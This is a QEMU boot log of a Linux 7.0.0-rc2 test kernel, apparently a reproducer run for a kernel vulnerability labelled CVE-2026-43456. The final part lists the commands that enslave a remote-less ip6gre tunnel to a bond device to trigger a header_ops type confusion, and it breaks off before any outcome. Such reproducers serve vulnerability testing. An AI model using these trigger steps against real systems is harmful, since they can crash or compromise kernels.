c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] System RAM [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff] [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] System RAM [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000c0000000-0x00000000fffbffff] [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] System RAM [ 0.000000] BIOS-e820: [gap 0x0000000140000000-0x000000fcffffffff] [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] device reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.126 MHz processor [ 0.018634] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.019313] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.019532] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.020372] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.038861] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.050625] ACPI: Early table checksum verification disabled [ 0.051185] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.051514] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.052387] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053173] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053336] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.053440] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053539] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053629] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053775] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.053830] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.053861] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.053890] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.053932] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.053972] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.059835] No NUMA configuration found [ 0.059883] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.060688] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.155187] KernelAddressSanitizer initialized (generic) [ 0.155874] ACPI: PM-Timer IO Port: 0x608 [ 0.156460] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.157068] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.157266] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.157608] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.157685] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.157793] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.157825] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.158124] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.158205] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.158756] CPU topo: Max. logical packages: 1 [ 0.158831] CPU topo: Max. logical dies: 1 [ 0.158854] CPU topo: Max. dies per package: 1 [ 0.158969] CPU topo: Max. threads per core: 1 [ 0.159308] CPU topo: Num. cores per package: 4 [ 0.159346] CPU topo: Num. threads per package: 4 [ 0.159366] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 0.160451] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.160560] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.160608] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 0.160824] [gap 0xc0000000-0xfffbffff] available for PCI devices [ 0.160984] Booting paravirtualized kernel on bare hardware [ 0.161603] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.261894] Zone ranges: [ 0.261970] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.262108] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.262146] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.262184] Movable zone start for each node [ 0.262215] Early memory node ranges [ 0.262244] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.262379] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.262434] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.262603] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.263878] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.266761] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.975768] On node 0, zone Normal: 35 pages in unavailable ranges [ 0.976494] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 0.979090] percpu: Embedded 64 pages/cpu s225048 r8192 d28904 u524288 [ 0.982102] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.984775] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 0.985151] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.986214] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 0.986812] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 0.991896] software IO TLB: area num 4. [ 1.036898] Fallback order for Node 0: 0 [ 1.037451] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.037547] Policy zone: Normal [ 1.037824] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.037885] stackdepot: allocating hash table via alloc_large_system_hash [ 1.038022] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.041316] stackdepot: allocating space for 8192 stack pools via memblock [ 1.321474] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.340666] Dynamic Preempt: lazy [ 1.350050] rcu: Preemptible hierarchical RCU implementation. [ 1.350081] rcu: RCU event tracing is enabled. [ 1.350134] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.350249] Trampoline variant of Tasks RCU enabled. [ 1.350266] Tracing variant of Tasks RCU enabled. [ 1.350385] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.350428] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.353020] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.777827] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 1.790120] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.799969] Console: colour VGA+ 80x25 [ 1.802721] printk: legacy console [ttyS0] enabled [ 1.826547] ACPI: Core revision 20251212 [ 1.839201] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.845728] APIC: Switch to symmetric I/O mode setup [ 1.855431] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 1.861529] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ebcc543e, max_idle_ns: 440795313831 ns [ 1.862382] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.25 BogoMIPS (lpj=3000126) [ 1.867608] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 1.867912] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 1.868361] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 1.869267] Spectre V2 : Mitigation: Retpolines [ 1.869613] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 1.870072] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 1.873358] x86/fpu: x87 FPU will use FXSAVE [ 2.337439] Freeing SMP alternatives memory: 52K [ 2.338608] pid_max: default: 32768 minimum: 301 [ 2.353430] SELinux: Initializing. [ 2.365996] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.366343] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.384805] VFS: Finished mounting rootfs on nullfs [ 2.524048] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.545815] Performance Events: PMU not available due to virtualization, using software events only. [ 2.547649] signal: max sigframe size: 1440 [ 2.550505] rcu: Hierarchical SRCU implementation. [ 2.550719] rcu: Max phase no-delay instances is 400. [ 2.553990] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 2.575613] smp: Bringing up secondary CPUs ... [ 2.588664] smpboot: x86: Booting SMP configuration: [ 2.588902] .... node #0, CPUs: #1 #2 #3 [ 2.805726] smp: Brought up 1 node, 4 CPUs [ 2.806710] smpboot: Total of 4 processors activated (24018.35 BogoMIPS) [ 2.824863] Memory: 3430160K/4193772K available (28794K kernel code, 9175K rwdata, 12384K rodata, 5752K init, 820K bss, 758220K reserved, 0K cma-reserved) [ 2.846167] devtmpfs: initialized [ 2.899372] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 2.901592] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 2.902550] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 2.910181] PM: RTC time: 10:05:07, date: 2026-07-03 [ 2.923183] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 2.936675] audit: initializing netlink subsys (disabled) [ 2.940514] audit: type=2000 audit(1783073107.091:1): state=initialized audit_enabled=0 res=1 [ 2.952489] thermal_sys: Registered thermal governor 'step_wise' [ 2.953178] cpuidle: using governor menu [ 2.964377] PCI: Using configuration type 1 for base access [ 2.965825] mtrr: your CPUs had inconsistent fixed MTRR settings [ 2.966014] mtrr: your CPUs had inconsistent variable MTRR settings [ 2.966679] mtrr: your CPUs had inconsistent MTRRdefType settings [ 2.966885] mtrr: probably your BIOS does not setup all CPUs. [ 2.967090] mtrr: corrected configuration. [ 2.971548] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 2.981119] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 2.981706] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 2.996629] ACPI: Added _OSI(Module Device) [ 2.996844] ACPI: Added _OSI(Processor Device) [ 2.996986] ACPI: Added _OSI(Processor Aggregator Device) [ 3.453589] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 3.491801] ACPI: \_SB_: platform _OSC: OS support mask [002a7eee] [ 3.534506] ACPI: Interpreter enabled [ 3.537416] ACPI: PM: (supports S0 S3 S4 S5) [ 3.538143] ACPI: Using IOAPIC for interrupt routing [ 3.540012] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 3.541122] PCI: Using E820 reservations for host bridge windows [ 3.559953] ACPI: Enabled 2 GPEs in block 00 to 0F [ 4.262177] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 4.263780] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 4.264194] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 4.266651] acpi PNP0A03:00: _OSC: platform retains control of PCIe features (AE_ERROR) [ 4.268910] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 4.280205] PCI host bridge to bus 0000:00 [ 4.281774] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 4.282174] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 4.282692] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 4.284139] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 4.284425] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 4.284959] pci_bus 0000:00: root bus resource [bus 00-ff] [ 4.288172] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 4.307098] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 4.321505] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 4.323164] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 4.323456] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 4.323768] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 4.323992] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 4.325120] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 4.338974] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 4.341271] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 4.341838] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 4.355260] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 4.356522] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 4.357314] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 4.358165] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 4.359299] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 4.372954] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 4.374642] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 4.375786] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 4.375978] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 4.618154] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 4.620109] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 4.621349] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 4.622154] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 4.917527] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 4.937407] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 4.956477] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 4.977354] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 4.984963] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 5.080655] iommu: Default domain type: Translated [ 5.081132] iommu: DMA domain TLB invalidation policy: lazy mode [ 5.098205] SCSI subsystem initialized [ 5.105802] ACPI: bus type USB registered [ 5.108689] usbcore: registered new interface driver usbfs [ 5.110235] usbcore: registered new interface driver hub [ 5.111913] usbcore: registered new device driver usb [ 5.114354] pps_core: LinuxPPS API ver. 1 registered [ 5.114634] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 5.115302] PTP clock support registered [ 5.125747] Advanced Linux Sound Architecture Driver Initialized. [ 5.154301] NetLabel: Initializing [ 5.154531] NetLabel: domain hash size = 128 [ 5.154691] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 5.158312] NetLabel: unlabeled traffic allowed by default [ 5.168307] PCI: Using ACPI for IRQ routing [ 5.169210] e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff] [ 5.169700] e820: register RAM buffer resource [mem 0xbffdd000-0xbfffffff] [ 5.173999] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 5.174048] pci 0000:00:02.0: vgaarb: bridge control possible [ 5.174048] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 5.174120] vgaarb: loaded [ 5.177712] hpet: 3 channels of 0 reserved for per-cpu timers [ 5.178332] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 5.178681] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 5.186957] clocksource: Switched to clocksource tsc-early [ 5.206099] VFS: Disk quotas dquot_6.6.0 [ 5.207532] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 5.231382] pnp: PnP ACPI init [ 5.295790] pnp: PnP ACPI: found 6 devices [ 5.477426] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 5.480743] NET: Registered PF_INET protocol family [ 5.485418] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 5.512509] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 5.513029] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 5.515299] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 5.517285] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 5.522883] TCP: Hash tables configured (established 32768 bind 32768) [ 5.525743] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.527044] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.533349] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 5.545882] RPC: Registered named UNIX socket transport module. [ 5.546281] RPC: Registered udp transport module. [ 5.546444] RPC: Registered tcp transport module. [ 5.546610] RPC: Registered tcp-with-tls transport module. [ 5.546774] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 5.570002] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 5.570361] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 5.570582] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 5.570790] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 5.571011] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 5.576917] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 5.577374] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 5.578028] PCI: CLS 0 bytes, default 64 [ 5.579404] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 5.579659] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 5.637295] Initialise system trusted keyrings [ 5.642461] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 5.672972] NFS: Registering the id_resolver key type [ 5.675071] Key type id_resolver registered [ 5.676058] Key type id_legacy registered [ 5.677284] nfs4filelayout_init: NFSv4 File Layout Driver Registering... [ 5.679021] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering... [ 5.683483] 9p: Installing v9fs 9p2000 file system support [ 5.953437] Key type asymmetric registered [ 5.954771] Asymmetric key parser 'x509' registered [ 5.957978] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 5.960818] io scheduler mq-deadline registered [ 5.961528] io scheduler kyber registered [ 5.976402] input: Power Button as /devices/platform/LNXPWRBN:00/input/input0 [ 5.981409] ACPI: button: Power Button [PWRF] [ 6.422805] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 6.436038] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 6.452379] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 6.497244] Non-volatile memory driver v1.3 [ 6.497542] Linux agpgart interface v0.103 [ 6.504551] ACPI: bus type drm_connector registered [ 6.616444] tsc: Refined TSC clocksource calibration: 3000.111 MHz [ 6.617877] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eae9de52, max_idle_ns: 440795326596 ns [ 6.620208] clocksource: Switched to clocksource tsc [ 6.733623] loop: module loaded [ 6.736085] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 6.770357] virtio_blk virtio0: [vda] 407560 512-byte logical blocks (209 MB/199 MiB) [ 6.871988] scsi host0: ata_piix [ 6.887229] scsi host1: ata_piix [ 6.893219] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 6.893566] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 6.921745] e100: Intel(R) PRO/100 Network Driver [ 6.922228] e100: Copyright(c) 1999-2006 Intel Corporation [ 6.923428] e1000: Intel(R) PRO/1000 Network Driver [ 6.923599] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 7.055936] ata2: found unknown device (class 0) [ 7.065078] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 7.083633] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 7.135675] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 7.137922] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 7.190670] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 7.353276] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 7.654967] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 7.656181] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 7.658271] e1000e: Intel(R) PRO/1000 Network Driver [ 7.658477] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 7.659851] sky2: driver version 1.30 [ 7.676510] usbcore: registered new interface driver usblp [ 7.677821] usbcore: registered new interface driver usb-storage [ 7.681457] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 7.687887] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 7.688645] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 7.703261] rtc_cmos 00:05: RTC can wake from S4 [ 7.707583] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 7.722788] rtc_cmos 00:05: registered as rtc0 [ 7.727312] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 7.739382] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 7.740194] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 7.741556] hid: raw HID events driver (C) Jiri Kosina [ 7.763427] usbcore: registered new interface driver usbhid [ 7.763644] usbhid: USB HID core driver [ 7.789613] Initializing XFRM netlink socket [ 7.793295] NET: Registered PF_INET6 protocol family [ 7.819421] Segment Routing with IPv6 [ 7.820831] In-situ OAM (IOAM) with IPv6 [ 7.825025] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 7.838712] NET: Registered PF_PACKET protocol family [ 7.843530] 9pnet: Installing 9P2000 support [ 7.844780] Key type dns_resolver registered [ 7.862653] IPI shorthand broadcast: enabled [ 8.165814] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 8.433541] sched_clock: Marking stable (8376066451, 57072435)->(8460360868, -27221982) [ 8.448255] registered taskstats version 1 [ 8.448572] Loading compiled-in X.509 certificates [ 8.775981] Demotion targets for Node 0: null [ 8.785445] PM: Magic number: 2:802:71 [ 8.787237] netconsole: network logging started [ 8.794567] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 8.810897] kworker/u16:4 (73) used greatest stack depth: 28296 bytes left [ 8.830371] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 8.835501] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 8.839224] ALSA device list: [ 8.839469] No soundcards found. [ 8.840301] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 8.840910] cfg80211: failed to load regulatory.db [ 8.851350] md: Waiting for all devices to be available before autodetect [ 8.851700] md: If you don't use raid, use raid=noautodetect [ 8.851971] md: Autodetecting RAID arrays. [ 8.852202] md: autorun ... [ 8.852323] md: ... autorun DONE. [ 8.875419] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 8.922431] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 8.958846] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 8.960314] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 8.969369] devtmpfs: mounted [ 8.972783] VFS: Pivoted into new rootfs [ 9.071964] Freeing unused kernel image (initmem) memory: 5752K [ 9.072647] Write protecting the kernel read-only data: 45056k [ 9.085021] Freeing unused kernel image (text/rodata gap) memory: 1924K [ 9.091626] Freeing unused kernel image (rodata/data gap) memory: 1952K [ 9.588035] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 9.589029] Run /init as init process [init] === CVE-2026-43456 VARIANT: ip6gre(no-remote) -> bond header_ops type-confusion === [init] cmd: uname -r 7.0.0-rc2 [ 9.964722] uname (80) used greatest stack depth: 26632 bytes left [ 9.975314] sh (78) used greatest stack depth: 25800 bytes left [init] cmd: cat /proc/version Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 10.449227] modprobe (85) used greatest stack depth: 24912 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip6_tunnel 2>&1 || /sbin/insmod /root/mods/ip6_tunnel.ko 2>&1 || true [init] cmd: /sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true [ 10.861738] gre: GRE over IPv4 demultiplexer driver [ 10.890915] ip6_gre: GRE over IPv6 tunneling driver [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] cmd: /sbin/ip link set lo up [ 11.188410] ip (96) used greatest stack depth: 24784 bytes left [init] cmd: /sbin/ip -6 addr add fd00::1/128 dev lo 2>&1 || true [init] cmd: /sbin/ip link add dummy0 type dummy 2>&1 || true RTNETLINK answers: File exists [init] cmd: /sbin/ip link set dummy0 up 2>&1 || true [init] STEP: ip6gre1 = IPv6 GRE, local fd00::1, NO remote (-> ip6gre_header_ops assigned) [init] cmd: /sbin/ip link add ip6gre1 type ip6gre local fd00::1 2>&1 || true [init] cmd: /sbin/ip -d link show ip6gre1 2>&1 || true 8: ip6gre1@NONE: mtu 1448 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: permaddr 6a52:5bf1:c7b2:: promiscuity 0 allmulti 0 minmtu 0 maxmtu 0 ip6gre remote any local fd00::1 hoplimit 64 encaplimit 4 tclass 0x00 flowlabel 0x00000 addrgenmode eui64 numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: bond1 (active-backup), enslave ip6gre1 (bond_setup_by_slave copies header_ops) [init] cmd: /sbin/ip link add bond1 type bond mode active-backup 2>&1 || true [init] cmd: /sbin/ip link set ip6gre1 master bond1 2>&1 || true [ 11.897230] bond1: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 11.897839] bond1: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 11.910565] bond1: (slave ip6gre1): making interface the new active one [ 11.912846] bond1: (slave ip6gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set ip6gre1 up 2>&1 || true [init] cmd: /sbin/ip link set 